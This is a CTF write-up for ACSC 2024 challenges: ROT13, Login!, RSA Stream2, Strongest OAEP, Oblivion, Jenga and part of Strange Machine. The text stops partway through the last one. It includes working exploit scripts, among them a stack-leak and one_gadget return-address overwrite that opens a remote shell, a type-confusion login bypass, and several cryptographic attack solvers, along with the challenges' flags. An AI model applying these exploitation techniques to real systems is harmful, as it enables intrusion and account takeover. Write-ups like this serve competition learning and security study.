• An4lyz3_1t
• Vault
• exploit code
• PWR_Tr4ce
• exploit code


PWN


ROT13

#include <stdio.h>
#include <string.h>

#define ROT13_TABLE                                                   \
  "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"  \
  "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"  \
  "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"  \
  "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"  \
  "\x40\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x41\x42"  \
  "\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x5b\x5c\x5d\x5e\x5f"  \
  "\x60\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x61\x62"  \
  "\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x7b\x7c\x7d\x7e\x7f"  \
  "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"  \
  "\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"  \
  "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"  \
  "\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"  \
  "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"  \
  "\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"  \
  "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"  \
  "\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

void rot13(const char *table, char *buf) {
  printf("Result: ");
  for (size_t i = 0; i < strlen(buf); i++)
    putchar(table[buf[i]]);
  putchar('\n');
}

int main() {
  const char table[0x100] = ROT13_TABLE;
  char buf[0x100];
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  while (1) {
    printf("Text: ");
    memset(buf, 0, sizeof(buf));
    if (scanf("%[^\n]%*c", buf) != 1)
      return 0;
    rot13(table, buf);
  }
  return 0;
}

 

char type is signed by default, implying buf[i] can be negative if buf[i] & 0x80
!= 0

Therefore, we can leak information from stack frame by putchar(table[buf[i]])

 

By debugging, I found out that stdout, canary, SFP, RET can be leaked.

We can calculate PIE base from RET, and libc base from stdout.

With one_gadget, I was able to find the gadget suitable for one-gadget RCE.

 


EXPLOIT CODE

from pwn import *
import os
#r = process("./rot13")
r = remote("rot13.chal.2024.ctf.acsc.asia", "9999")

def f(x):
    r.sendlineafter(b': ', x)
    return r.recvline()[8:-1]

def g(a, b):
    return f(bytes(0x100 + i for i in range(a, b)))

stdout = u64(g(-0x68, -0x60))
canary = g(-0x18, -0x10)
sfp = g(-0x10, -0x8)
ret = u64(g(-0x8, 0x0))

pie_base = ret - 0x158D
libc_base = stdout - 0x21b780
one_shot = libc_base + 0xebd43
print(hex(pie_base))
print(hex(libc_base))

payload = b'A' * 0x108 + canary + sfp + p64(one_shot)
f(payload)
r.sendlineafter(b': ', b'')
#ACSC{aRr4y_1nd3X_sh0uLd_b3_uNs1Gn3d}
r.interactive()
r.close()

 


WEB


LOGIN!

const express = require('express');
const crypto = require('crypto');
const FLAG = process.env.FLAG || 'flag{this_is_a_fake_flag}';

const app = express();
app.use(express.urlencoded({ extended: true }));

const USER_DB = {
    user: {
        username: 'user', 
        password: crypto.randomBytes(32).toString('hex')
    },
    guest: {
        username: 'guest',
        password: 'guest'
    }
};

app.get('/', (req, res) => {
    res.send(`
    <html><head><title>Login</title><link rel="stylesheet" href="https://cdn.simplecss.org/simple.min.css"></head>
    <body>
    <section>
    <h1>Login</h1>
    <form action="/login" method="post">
    <input type="text" name="username" placeholder="Username" length="6" required>
    <input type="password" name="password" placeholder="Password" required>
    <button type="submit">Login</button>
    </form>
    </section>
    </body></html>
    `);
});

app.post('/login', (req, res) => {
    const { username, password } = req.body;
    if (username.length > 6) return res.send('Username is too long');

    const user = USER_DB[username];
    if (user && user.password == password) {
        if (username === 'guest') {
            res.send('Welcome, guest. You do not have permission to view the flag');
        } else {
            res.send(`Welcome, ${username}. Here is your flag: ${FLAG}`);
        }
    } else {
        res.send('Invalid username or password');
    }
});

app.listen(5000, () => {
    console.log('Server is running on port 5000');
});

 

If username is ['guest']

 * USER_DB[username] is {username: 'guest', password: 'guest'}
 * username === 'guest' is false


EXPLOIT CODE

import requests

url = 'http://login-web.chal.2024.ctf.acsc.asia:5000/login'

data = {
    'username[]': 'guest', # username = ['guest']
    'password': 'guest'
}

response = requests.post(url, data=data)

print(response.content)
# ACSC{y3t_an0th3r_l0gin_byp4ss}

 


CRYPTO


RSA STREAM2

from Crypto.Util.number import getPrime
import random
import re


p = getPrime(512)
q = getPrime(512)
e = 65537
n = p * q
d = pow(e, -1, (p - 1) * (q - 1))

m = random.randrange(2, n)
c = pow(m, e, n)

text = open(__file__, "rb").read()
ciphertext = []
for b in text:
    o = 0
    for i in range(8):
        bit = ((b >> i) & 1) ^ (pow(c, d, n) % 2)
        c = pow(2, e, n) * c % n
        o |= bit << i
    ciphertext.append(o)


open("chal.py.enc", "wb").write(bytes(ciphertext))
redacted = re.sub("flag = \"ACSC{(.*)}\"", "flag = \"ACSC{*REDACTED*}\"", text.decode())
open("chal_redacted.py", "w").write(redacted)
print("n =", n)

# flag = "ACSC{*REDACTED*}"

 

Let m = pow(c, d, n)

 * pow(c, d, n) % 2 equals m % 2
 * c = pow(2, e, n) * c % n equals m = 2 * m % n

Since we know LSB of 2xm(modn), we can apply the LSB oracle attack.

 


EXPLOIT CODE

from Crypto.Util.number import getPrime
from fractions import Fraction

e = 65537
n = 106362501554841064194577568116396970220283331737204934476094342453631371019436358690202478515939055516494154100515877207971106228571414627683384402398675083671402934728618597363851077199115947762311354572964575991772382483212319128505930401921511379458337207325937798266018097816644148971496405740419848020747

# RSA LSB oracle attack
ciphertext = open("chal.py.enc", "rb").read()
chal = open("chal_redacted.py", "rb").read()

c = bytes([x ^ y for x, y in zip(ciphertext[:650], chal[:650])]) # first 650 bytes from chal.py and chal_redacted.py are same.
d = int.from_bytes(c, 'little')

t = 1
m = Fraction(0, 1)
while d:
    d >>= 1
    t <<= 1
    if d & 1:
        m += Fraction(n, t)
m = m.__round__()

# decrypt
c = pow(m, e, n)

text = open("chal.py.enc", "rb").read()
ciphertext = []
for b in text:
    o = 0
    for i in range(8):
        bit = ((b >> i) & 1) ^ (m % 2)
        m = 2 * m % n
        o |= bit << i
    ciphertext.append(o)
print(bytes(ciphertext).decode()) # print chal.py
# ACSC{RSA_is_not_for_the_stream_cipher_bau_bau}

 


STRONGEST OAEP

from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.Util.number import *

import os

flag = b"ACSC{___REDACTED___}"

def strongest_mask(seed, l):
  return b"\x01"*l

def strongest_random(l):
  x = bytes_to_long(os.urandom(1)) & 0b1111
  return long_to_bytes(x) + b"\x00"*(l-1)

f = open("strongest_OAEP.txt","w")

key = RSA.generate(2048,e=13337)

c_buf = -1

for a in range(2):
  OAEP_cipher = PKCS1_OAEP.new(key=key,randfunc=strongest_random,mgfunc=strongest_mask)

  while True:
    c = OAEP_cipher.encrypt(flag)
    num_c = bytes_to_long(c)
    if c_buf == -1:
      c_buf = num_c
    else:
      if c_buf == num_c:continue
    break

  f.write("c: %d\n" % num_c)
  f.write("e: %d\n" % key.e)
  f.write("n: %d\n" % key.n)

  OAEP_cipher = PKCS1_OAEP.new(key=key,randfunc=strongest_random,mgfunc=strongest_mask)
  dec = OAEP_cipher.decrypt(c)
  assert dec == flag

  # wow, e is growing!
  d = pow(31337,-1,(key.p-1)*(key.q-1))
  key = RSA.construct( ((key.p * key.q), 31337, d) )

 



 

PKCS1_OAEP.new(key=key,randfunc=strongest_random,mgfunc=strongest_mask)

 * The first byte of the seed ranges from 0 to 15; the others are zero.
 * Every byte of the mask is 1.
 * For each loop, maskedDB are same.
 * Only the first byte of the maskedseeds can be different.

Let two ciphertexts are c1, c2, and first byte of seeds are s1, s2.

 

Then, x exists such that (x+22032s1)13337≡c1(modn), and
(x+22032s2)31337≡c2(modn)

 

Thus, x exists such that x13337≡c1(modn), and (x+22032(s2−s1))31337≡c2(modn)

 

Since s1 and s2 are range from 0 to 15, s2−s1 ranges from -15 to 15

 

By calculating GCD of two polynomials, a common root can be found if those two
polynomials have a common factor.


EXPLOIT CODE

with open("strongest_OAEP.txt", "r") as f:
    c1 = int(f.readline()[3:])
    e1 = int(f.readline()[3:])
    n1 = int(f.readline()[3:])
    c2 = int(f.readline()[3:])
    e2 = int(f.readline()[3:])
    n2 = int(f.readline()[3:])

assert n1 == n2
n = n1
P.<x> = PolynomialRing(Zmod(n))
c1, c2 = map(Zmod(n), (c1, c2))

from tqdm import trange
for k in trange(-15, 16):
    f1 = (x + k * 2^2032)^e1 - c1
    f2 = x^e2 - c2
    while f2 != 0:
        f1, f2 = f2, f1 % f2
    if f1.degree() == 1: # if two polynomials have a common factor
        break
print(f1)
m = ZZ(-f1.monic()[0])
m = int(m).to_bytes(256, 'big')
m = bytes([_ ^^ 1 for _ in m])
print(m)
# ACSC{O4EP_+_broken_M6F_+_broken_PRN6_=_Textbook_RSA_30f068a6b0db16ab7aa42c85be174e6854630d254f54dbc398e725a10ce09ac7}

 


OBLIVION

import random
from hashlib import sha512
from base64 import b64encode, b64decode
import signal

n = 64
n_bytes = n // 8 # 8
l = 128
l_bytes = l // 8 # 16
F2n.<ε> = GF(2**n)

def bytes2bits(b):
    return list(map(int, "".join([format(x, "08b") for x in b])))

def bits2bytes(b):
    return bytes([int("".join(map(str, b[i:i+8])), 2) for i in range(0, len(b), 8)])

def xor(a, b):
    return bytes([x ^^ y for x, y in zip(a, b)])

def transpose(M):
    T = [[0] * len(M) for _ in range(len(M[0]))]
    for i in range(len(M)):
        for j in range(len(M[0])):
            T[j][i] = M[i][j]
    return T

def recv_bytes(msg, n=0):
    return b64decode(input(msg)[:2 * n]).ljust(n, b"\x00")

class PRNG:
    def __init__(self):
        self.hasher = sha512(random.randbytes(32))
        self.pending = b""

    def randbytes(self, nbytes):
        while len(self.pending) < nbytes:
            self.hasher.update(random.randbytes(8))
            self.pending += self.hasher.digest()
        self.pending, out = self.pending[nbytes:], self.pending[:nbytes]
        return out


class S:
    def __init__(self, delta, t_delta) -> None:
        self.delta = delta
        self.t_delta = t_delta

    def compute_q(self, u):
        self.q = transpose([
            bytes2bits(xor(ti, ui) if bi else ti)
            for ti, ui, bi in zip(self.t_delta, u, self.delta)
        ])

    def check(self, chi, x_, t_):
        q_ = sum([F2n(qi) * xi for qi, xi in zip(self.q, chi)])
        return q_ == t_ + x_ * F2n(self.delta)


def chall():
    prng = PRNG()
    t0 = [prng.randbytes(l_bytes) for _ in range(n)] # 128bit, 16bytes ,64개.
    t1 = [prng.randbytes(l_bytes) for _ in range(n)]
    print("t0 = ", b64encode(b"".join(t0)).decode())
    print("t1 = ", b64encode(b"".join(t1)).decode())
    ts = [t0, t1]

    delta_bytes = random.randbytes(n_bytes) #64bit, 8bytes
    delta = bytes2bits(delta_bytes)
    t_delta = [ts[b][i] for i, b in enumerate(delta)]

    S_ = S(delta, t_delta)

    def handler(signum, frame):
        print("Timeout")
        exit(0)

    signal.signal(signal.SIGALRM, handler)
    signal.alarm(180)

    for _ in range(100):
        try:
            u = recv_bytes("u = ", n * l_bytes)
            u = [u[i: i + l_bytes] for i in range(0, len(u), l_bytes)]
            S_.compute_q(u)

            chi = [prng.randbytes(n_bytes) for _ in range(l)]

            print(f"chi = {b64encode(b''.join(chi)).decode()}")

            chi = [F2n(bytes2bits(xi)) for xi in chi]
            x_ = F2n(bytes2bits(recv_bytes("x_ = ", n_bytes)))    
            t_ = F2n(bytes2bits(recv_bytes("t_ = ", n_bytes)))

            if not S_.check(chi, x_, t_):
                raise Exception(":pekowide:")

            option = input(">>> ")
            if option == "1":
                guess = recv_bytes("What's my secret? ", n_bytes)
                if guess == delta_bytes:
                    flag = open("flag.txt").read()
                    print("Good job! Here's your flag: ", flag)
                else:
                    break
            elif option == "2":
                continue
            else:
                break
        except Exception as e:
            print(e)
            continue


chall()

 

class S

 * __init__(self, delta, t_delta)
   * delta: 64 bits
   * t_delta: 64 x 128 bits
 * compute_q(self, u):
   * u: 64 x 128 bits
   * if delta[i], t_delta[i] ^= u[i]
   * After the loop ends, transpose.
   * q: 128 x 64 bits
 * check(self, chi, x_, t_)
   * chi: GF(264) vector with length 128
   * Change each row of q to GF(264)
   * return q * chi == t_ + x_ * F2n(self.delta)
 * S_
   * t_delta = [ts[b][i] for i, b in enumerate(delta)]
   * If u = t0 ^ t1, then S_.q equals transpose of t0
     * if delta[i], t_delta[i] equals t1[i] ^ u
     * else, t_delta[i] equals t0[i]
     * if u = t0 ^ t1, then t1[i] ^ u equals t0[i]
     * If u[i] != t0[i] ^t1[i] for only i = t, S_.q != transpose(t0) implys
       delta[i] is 1

For expected S_.q, we can make x_, t_ such that S_.q * chi == t_ + x_ *
F2n(self.delta)

 

By corrupting ith row of u, delta[i] = S_.check(chi, x_, t_)

 


EXPLOIT CODE

from pwn import *

from hashlib import sha512
from base64 import b64encode, b64decode

n = 64
n_bytes = n // 8 # 8
l = 128
l_bytes = l // 8 # 16
F2n.<ε> = GF(2**n)

def bytes2bits(b):
    return list(map(int, "".join([format(x, "08b") for x in b])))

def bits2bytes(b):
    return bytes([int("".join(map(str, b[i:i+8])), 2) for i in range(0, len(b), 8)])

def transpose(M):
    T = [[0] * len(M) for _ in range(len(M[0]))]
    for i in range(len(M)):
        for j in range(len(M[0])):
            T[j][i] = M[i][j]
    return T
#r = process(["sage", "chall.sage"])
r = remote("oblivion.chal.2024.ctf.acsc.asia", "1234")

t0 = b64decode(r.recvline()[6:-1])
t1 = b64decode(r.recvline()[6:-1])
q = [bytes2bits(t0[i:i + l_bytes]) for i in range(0, l_bytes * n, l_bytes)]
q = transpose(q)
x = b'\x00' * n_bytes

secret = []
from tqdm import trange
for i in trange(64):
    u = xor(t0, t1)
    #print(u)
    u = u[:i * l_bytes] + b'\x00' * l_bytes +u[i * l_bytes + l_bytes:]

    r.sendlineafter(b'u = ', b64encode(u))

    chi = b64decode(r.recvline()[6:-1])
    chi = [chi[i: i + n_bytes] for i in range(0, n_bytes * l, n_bytes)]
    chi = [F2n(bytes2bits(xi)) for xi in chi]

    r.sendlineafter(b'x_ = ', b64encode(x))
    t = sum([F2n(qi) * xi for qi, xi in zip(q, chi)])
    t_ = t.integer_representation()
    t = 0
    for j in range(n):
        t <<= 1
        t |= t_ & 1
        t_ >>= 1
    t = int(t).to_bytes(n_bytes, 'big')

    r.sendlineafter(b't_ = ', b64encode(t))


    if r.recv(1) == b'>':
        if i!=63:
            r.sendlineafter(b'> ', b'2')
        secret.append(0)
    else:
        secret.append(1)


secret = bits2bytes(secret)
print(b64encode(secret))
r.interactive() # ACSC{Beware_0f_the_L3aky_4borts_OwO}
r.close()

 


JENGA

Let's initially ignore the first Jenga.hori, as it is invertible.
For the plaintext array defined as [bytes([k] + [0] * 8) for k in range(0x100)],
the cumulative XOR of 256 states remains zero up until the execution of
Jenga.sbox operation in the fourth round.
Following this operation, the encryption process involves Jenga.sbox,
Jenga.hori, and another Jenga.xor,

with the latter two steps being invertible and, therefore, not critical for our
analysis at this stage.

 

We aim to identify a key that ensures the cumulative XOR of 256 states equals
zero.
Given that the Jenga.hori permutes every horizontal bytes,
we have the opportunity to systematically brute-force each trio of bytes to
identify such a key,
especially considering the post-fourth-round operations

 

To significantly reduce the time needed for brute-force tasks, we implemented
programming with Nvidia CUDA.
This approach allowed us to complete the brute-force process in about two
seconds using an RTX 3050 Ti.

 


EXPLOIT CODE

calc.cu:

#include<iostream>
#include<stdint.h>

__global__
void test(uint8_t *SBOX_inv,uint8_t *gmul_4f,uint8_t *gmul_9e, uint8_t *c, uint32_t *key_stack, uint32_t *stack_len)
{
    unsigned int k_idx = (blockIdx.x<<10)|(threadIdx.x);
    uint8_t k0, k1, k2, x, y, z;
    int i, j;
    k0 = k_idx & 0xFF; k_idx >>= 8;
    k1 = k_idx & 0xFF; k_idx >>= 8;
    k2 = k_idx & 0xFF; k_idx >>= 8;

    uint8_t sum[9];
    uint8_t ct[9];
    for(j = 0 ; j < 9; j++)sum[j] = 0;
    for(i = 0 ; i < 0x100; i++)
    {
        for(j = 0 ; j < 9; j++)ct[j] = c[i * 9 + j];
        for(j = 0 ; j < 9; j+=3) // xor
        {
            ct[j] ^= k0;
            ct[j + 1] ^= k1;
            ct[j + 2] ^= k2;
        }
        for(j = 0 ; j < 9; j+=3) // hori_inv
        {
            x = ct[j];
            y = ct[j + 1];
            z = ct[j + 2];
            ct[j] = gmul_9e[x] ^  gmul_4f[y]; 
            ct[j + 1] = gmul_9e[y] ^  gmul_4f[z];
            ct[j + 2] = gmul_9e[z] ^  gmul_4f[x];

        }
        for(j = 0 ; j < 9; j++)ct[j] = SBOX_inv[ct[j]]; // sbox_inv
        for(j = 0 ; j < 9; j++)sum[j] ^= ct[j]; // sum
    }
    for(j = 0 ; j < 9; j+=3) // check
    {
        if(sum[j] == 0 && sum[j + 1] == 0 && sum[j + 2] == 0)
        {
            k_idx = atomicAdd(stack_len, 1);
            key_stack[k_idx] <<= 8; key_stack[k_idx] |= k0;
            key_stack[k_idx] <<= 8; key_stack[k_idx] |= k1;
            key_stack[k_idx] <<= 8; key_stack[k_idx] |= k2;
            key_stack[k_idx] <<= 8; key_stack[k_idx] |= j;
        }
    }
}

uint8_t SBOX_inv_host[0x100] = {
    0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB,
    0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB,
    0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E,
    0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25,
    0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92,
    0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84,
    0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06,
    0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B,
    0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73,
    0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E,
    0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B,
    0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4,
    0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F,
    0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF,
    0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61,
    0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D
};
uint8_t gmul_4f_host[0x100];
uint8_t gmul_9e_host[0x100];
uint8_t c_host[0x900];

uint32_t key_stack_host[0x100];
uint32_t stack_len_host;

uint8_t gf_mul(uint8_t a, uint8_t b)
{
    int v = 0;
    for(int i = 0; i < 8; i++)
    {
        v <<= 1;
        if(v & 0x100)
            v ^= 0x11b;
        if((b >> (7 - i)) & 1)
            v ^= a;
    }
    return v;
}

uint8_t *SBOX_inv, *gmul_4f, *gmul_9e, *c;
uint32_t *key_stack, *stack_len;

int main()
{
    cudaMalloc((void**)&SBOX_inv, 0x100);
    cudaMemcpy(SBOX_inv, SBOX_inv_host, 0x100, cudaMemcpyHostToDevice);

    for(int i = 0; i < 0x100; i++)
    {
        gmul_4f_host[i] = gf_mul(i, 0x4f);
        gmul_9e_host[i] = gf_mul(i, 0x9e);
    }

    cudaMalloc((void**)&gmul_4f, 0x100);
    cudaMemcpy(gmul_4f, gmul_4f_host, 0x100, cudaMemcpyHostToDevice);
    cudaMalloc((void**)&gmul_9e, 0x100);
    cudaMemcpy(gmul_9e, gmul_9e_host, 0x100, cudaMemcpyHostToDevice);


    for(int i=0; i < 0x100; i++)
    {
        for(int j = 0; j < 9; j++)
        {
            int x;
            std::cin >> x;
            c_host[i * 9 + j] = x;
        }
    }
    cudaMalloc((void**)&c, 0x900);
    cudaMemcpy(c, c_host, 0x900, cudaMemcpyHostToDevice);

    cudaMalloc((void**)&key_stack, 0x400);
    cudaMalloc((void**)&stack_len, 4);

    test<<<(1<<14),(1<<10)>>>(SBOX_inv, gmul_4f, gmul_9e, c, key_stack, stack_len);

    cudaMemcpy(key_stack_host, key_stack, 0x400, cudaMemcpyDeviceToHost);
    cudaMemcpy(&stack_len_host, stack_len, 4, cudaMemcpyDeviceToHost);

    std::cout << stack_len_host << std::endl;
    for(int i = 0; i < stack_len_host ; i++)
    {
        std::cout << key_stack_host[i] << std::endl;
    }

    cudaFree(SBOX_inv);
    cudaFree(gmul_4f);
    cudaFree(gmul_9e);
    cudaFree(c);
    cudaFree(key_stack);
    cudaFree(stack_len);

}

 

solve.py:

from pwn import *
from Jenga import Jenga, SBOX_inv
import os

def xor(a, b):
    return [x ^ y for x, y in zip(a, b)]

base = os.urandom(8)
p = [bytes([i]) + base for i in range(256)]
c = []
cts = []

r = remote("jenga.chal.2024.ctf.acsc.asia", "39425")

from tqdm import trange
for i in trange(256):
    real_pt = list(p[i])
    Jenga.hori_inv(real_pt)
    real_pt = bytes(real_pt)

    r.sendline(real_pt.hex().encode())

for i in range(256):
    real_ct = r.recvline()[6:-1].decode()
    real_ct = bytes.fromhex(real_ct)

    ct = list(real_ct)
    Jenga.vert_inv(ct)
    Jenga.sbox_inv(ct)

    c.append(bytes(ct))

calc = process("./calc")
for i in trange(256):
    for j in range(9):
        calc.sendline(str(c[i][j]).encode())

key_cands = [[], [], []]
key_len = int(calc.recvline())
for i in range(key_len):
    k0, k1, k2, j = int(calc.recvline()).to_bytes(4, 'big')
    key_cands[j//3].append([k0, k1, k2])
calc.close()

from itertools import product
for key in product(*key_cands):
    key = key[0] + key[1] + key[2]
    for i in range(9 * 4):
        key = [key[7] ^ SBOX_inv[key[8]]] + key
    key = bytes(key[:9])
    cipher = Jenga(key)
    if cipher.encrypt(real_pt) == real_ct:
        break

ct = r.recvline()[4:-1].decode()
pt = cipher.decrypt(bytes.fromhex(ct))

r.sendlineafter(b'? ', pt.hex().encode())
r.interactive()
r.close()

 


STRANGE MACHINE, PART1

#!/usr/bin/sage
import hashlib

def solve_part1():
    ...

def solve_part2():
    ...

solve_part1()
print("PART 1 SOLVED!")

solve_part2()
print("PART 2 SOLVED!")

flag = open("flag.txt", "r").read()
print(flag)

 

To obtain the flag, both parts of the problem must be successfully solved.

def solve_part1():
    SUB_TABLE = set() # contains (a, b, c) such that a - b == c (mod p)
    MUL_TABLE = set() # contains (a, b, c) such that a * b == c (mod p)
    REGISTERED_EC = set() # contains elliptic curve points in y^2 = x^3 + 7 (mod p)
    REGISTERED_X = set() # contains x-coordinates of a elliptic curve point of REGISTERED_EC

    bn254 = 21888242871839275222246405745257275088696311157297823662689037894645226208583
    p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F

    x_start = int(input()) % p 
    y_start = int(input()) % p
    assert (y_start * y_start) % p == (x_start * x_start * x_start + 7) % p 

    # this target value is the target x-coordinate
    target = int.from_bytes(hashlib.sha256(str(x_start).encode() + b"#" + str(y_start).encode()).digest(), "big") % p 

    # (x_start, y_start) is known to be a valid elliptic curve point
    REGISTERED_EC.add((x_start, y_start))
    REGISTERED_X.add(x_start)

    count = 0
    while True:
        count += 1
        assert count < 20000
        whi = int(input())
        if whi == 1 or whi == 2:
            a = int(input())
            b = int(input())
            quotient = int(input())
            result = int(input())
            assert 0 <= a < (1 << 256)
            assert 0 <= b < (1 << 256)
            assert 0 <= quotient < (1 << 256)
            assert 0 <= result < (1 << 256)
            if whi == 1:
                # add (a, b, result) in SUB_TABLE
                assert (a - b + p - quotient * p - result) % bn254 == 0 
                assert (a - b + p - quotient * p - result) % (1 << 256) == 0
                SUB_TABLE.add((a, b, result))
            if whi == 2:
                # add (a, b, result) in MUL_TABLE
                assert (a * b - quotient * p - result) % bn254 == 0 
                assert (a * b - quotient * p - result) % (1 << 256) == 0
                MUL_TABLE.add((a, b, result))
        if whi == 3:
            # check two points (x1, y1), (x2, y2) are already registered elliptic curve points
            # check (x3, y3) = (x1, y1) + (x2, y2) via elliptic curve addition
            # valid computation over (mod p) is checked by SUB_TABLE and MUL_TABLE
            x1 = int(input())
            y1 = int(input())
            x2 = int(input())
            y2 = int(input())
            assert (x1, y1) in REGISTERED_EC # check (x1, y1) is a known valid elliptic curve point
            assert (x2, y2) in REGISTERED_EC # check (x2, y2) is a known valid elliptic curve point
            lam = int(input())
            if x1 == x2 and y1 == y2: # point doubling algorithm
                x_sq = int(input())
                x_sq_3 = int(input())
                y_2 = int(input())
                y_2_inv = int(input())
                assert (x1, x1, x_sq) in MUL_TABLE # check x_sq = x1^2
                assert (x_sq, 3, x_sq_3) in MUL_TABLE # check x_sq_3 = 3 * x1^2
                assert (y1, 2, y_2) in MUL_TABLE # check y_2 = 2 * y1
                assert (y_2, y_2_inv, 1) in MUL_TABLE # check y_2_inv = 1 / (2 * y1)
                assert (x_sq_3, y_2_inv, lam) in MUL_TABLE # check lam = (3 * x1^2) / (2 * y1)
            else:
                y_diff = int(input())
                x_diff = int(input())
                x_diff_inv = int(input())
                assert (y2, y1, y_diff) in SUB_TABLE # check y_diff = y2 - y1
                assert (x2, x1, x_diff) in SUB_TABLE # check x_diff = x2 - x1
                assert (x_diff, x_diff_inv, 1) in MUL_TABLE # check x_diff_inv = 1 / (x2 - x1)
                assert (y_diff, x_diff_inv, lam) in MUL_TABLE # check lam = (y2 - y1) / (x2 - x1)
            lam_sq = int(input())
            lam_sq_minus_x1 = int(input())
            x_final = int(input())
            x1_minus_x_final = int(input())
            lam_mul_x1_minus_x_final = int(input())
            y_final = int(input())
            assert (lam, lam, lam_sq) in MUL_TABLE # check lam_sq = lam^2
            assert (lam_sq, x1, lam_sq_minus_x1) in SUB_TABLE # check lam_sq_minus_x1 = lam^2 - x1
            assert (lam_sq_minus_x1, x2, x_final) in SUB_TABLE # check x_final = lam^2 - x1 - x2
            assert (x1, x_final, x1_minus_x_final) in SUB_TABLE # check x1_minus_x_final = x1 - x_final
            assert (lam, x1_minus_x_final, lam_mul_x1_minus_x_final) in MUL_TABLE  # check lam_mul_x1_minus_x_final = lam * (x1 - x_final)
            assert (lam_mul_x1_minus_x_final, y1, y_final) in SUB_TABLE # check y_final = lam * (x1 - x_final) - y1
            REGISTERED_EC.add((x_final, y_final)) # add (x_final, y_final) to REGISTERED_EC
            REGISTERED_X.add(x_final) # add x_final to REGISTERED_X
        if whi == 4:
            break 

    assert target in REGISTERED_X # end with the target x-coordinate in REGISTERED_X

 

 * Initial setup phase
   * SUB_TABLE: Set, a-b=c
   * MUL_TABLE: Set, a*b=c
   * REGISTERED_EC: Set, y^2 = x^3 + 7 (Secp256k1)
   * REGISTERED_X: Set, x-coordinates of REGISTERED_EC
   * bn254, p: The prime numbers for bn254 and Secp256k1, respectively
 * Input x_start, y_start
   * (x_start, y_start) must be a point on Secp256k1
 * target equals sha256 value of f'{x_start}#{y_start}'
 * Add the point and its x-coordinate to REGISTERED_EC and REGISTERED_X,
   respectively
 * Now, loop for up to 20000 times, inputting whi during each loop.
   * case 1
     * If (a - b + p - (quotient * p + result)) % (bn254 << 256) == 0
       * add (a, b, result) to SUB_TABLE
   * case 2
     * If (a * b - (quotient * p + result)) % (bn254 << 256) == 0
